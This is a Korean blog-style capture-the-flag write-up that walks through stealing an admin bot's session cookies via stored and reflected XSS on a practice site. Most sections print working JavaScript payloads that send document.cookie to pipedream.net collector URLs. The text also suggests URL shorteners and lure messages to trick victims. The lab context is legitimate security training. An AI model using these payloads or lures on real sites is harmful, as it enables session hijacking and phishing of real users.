10주차 CTF (쿠키 탈취)
이전 9주 차 CTF에서 스크립트를 띄우는 취약점을 찾아냈다면 이제는 그것을 바탕으로 관리자봇의 쿠키를 탈취하는 과정을 알아가 보도록 하겠습니다
XSS 1
취약점 지점에서 악의적인 코드를 삽입하여 stored XSS 공격기법 활용하여 쿠키를 탈취하도록 하겠습니다
![]() |
![]() |
<script> var cookieData = document.cookie; var i = new Image(); i.src="https://eohej6gyi5ji01s.m.pipedream.net?cookie/"+cookieData;</script>
피해자는 해당 게시글을 클릭할 시 "https://eohej6gyi5ji01s.m.pipedream.net"에 쿠키값을 전송하게 됩니다
저의 쿠키값이 탈취되는 것을 확인했으니 상대방에게 링크를 보내 상대방 쿠키값을 탈취해 보도록 하겠습니다
쿠키값이 잘 탈취되는 것을 확인할 수 있습니다
추가로>
링크가 너무 노골적으로 보임으로 실제 해커들은 URL 단축 서비스를 사용합니다
예> "https://tinyurl.com/65akh2z3"
이메일, 메신저를 통해 심리적인 유도를 하여 피해를 입히게 합니다
예> 이번 공지사항 확인 필수!! "https://tinyurl.com/65akh2z3", 지난달 특가상품 할인: -바로가기-
XSS 2
검색창에 잘못된 값을 입력 시 그 값을 반사하여 보이는 ReflectedXSS 취약점이 발견됐고 다음과 같은 코드를 넣어 실행해보도록 하겠습니다
1');var cookieData = document.cookie; var i = new Image(); i.src="https://eohej6gyi5ji01s.m.pipedream.net?cookie/"+cookieData;('
해당 코드가 잘 출력됐으며 쿠키값도 잘 탈취당한 것을 확인할 수 있었습니다 해당 데이터로 URL을 만들어 보겠습니다
해당 피드를 리피터로 옮기고 POST -> GET으로 변환해 줍니다 그러면 GET 값이 나오며
GET을 떼어내 주고 기존 취약점 링크 앞부분 http://ctf.segfaulthub.com:4343/를 붙여주면 URL을 만들어낼 수 있습니다
완성된 링크는 다음과 같습니다
해당 값을 입력해 주니 쿠키를 탈취할 수 있었습니다
XSS 3
해당사이트 취약점은 마이페이지에 아이디 입력란에 ReflectedXSS 취약점이 발견됐고 다음과 같은 코드를 넣어 실행해보도록 하겠습니다
"/><script> var+cookieData+=+document.cookie;+var+i+=+new+Image();+i.src+=+"https://eodzjzdkysr89c5.m.pipedream.net?cookie/"%2 BcookieData;+</script>
입력값을 올바르게 입력했음에도 불과하고 쿠키값이 나오지 않고 있는 것으로 보입니다.... 어찌 된 일인지 모르겠네요...
중간에 alert(1) 값을 넣고 앞전 코드가 인식이 됐는지 확인해보도록 하겠습니다
alert(1)이 잘 출력되는 것을 보아 스크립트 자체는 잘 실행되는 것을 확인할 수 있습니다.....
일단 해당 url을 인코딩해보겠습니다
"/><script> var+cookieData+=+document.cookie;+var+i+=+new+Image();+i.src+=+"https://eodzjzdkysr89c5.m.pipedream.net?cookie/"%2 BcookieData;+</script>
인코딩 된 url
해당값을 필드에 입력하니 관리자 쿠키값을 얻을 수 있었습니다 뭔가 찝찝하네요... 왜 저는 쿠키는 얻지 못했는데 관리자 쿠키는 얻었을까요.... 분명 입력된 값은 올바르게 출력된 것을 볼 수 있었는데 말입니다
XSS 4
게시글 제목과 내용 부부네 storedXSS 취약점이 발견됐고 필터링이 있는지 파악해 보도록 하겠습니다
제목에 텍스트 제한이 걸려 있어 내용 부분에 삽입시켜보도록 하겠습니다
![]() |
![]() |
저의 쿠키값이 노출되는 것을 확인했으며 해당 게시글 URL을 그대로 복사하여 관리자 피드에 넣어보도록 하겠습니다
관지라 쿠키값 탈취에 성공하였습니다
XSS 5
게시글 내용 부분에 storedXSS 취약점이 발견됐으며 자잘한 필터링이 작동 중인 것으로 파악됩니다 다음과 같은 코드를
넣어 실행해보도록 하겠습니다
<scripr> var cookieData = document.cookie; var img = new Image(); img.src = "https://eodzjzdkysr89c5.m.pipedream.net?cookie="+cookieData;</script>
해당 페이지도 이상하게 cookie값이 출력이 안 되는 것을 볼 수 있습니다.... 관리자 모드에서 콘솔을 입력해도 쿠키값이 안 나오는 것을 확인했습니다
해당 원인을 분석하니 HttpOnly 속성이 설정된 쿠키는 document.cookie를 통해 접근할 수 없다는 것을 알 수 있었으며
현재 저의 브라우저가 저를 보호하는 방화벽을 세웠다는 것을 알 수 있었습니다
HttpOnly 속성을 해제하고 다시 해보도록 하겠습니다
이제 정상적으로 쿠키값을 가져올 수 있습니다
해당 스크립트가 저장된 URL을 그대로 복사하려 관리자 피드에 붙여 넣으면 관리자의 쿠키값을 탈취할 수 있습니다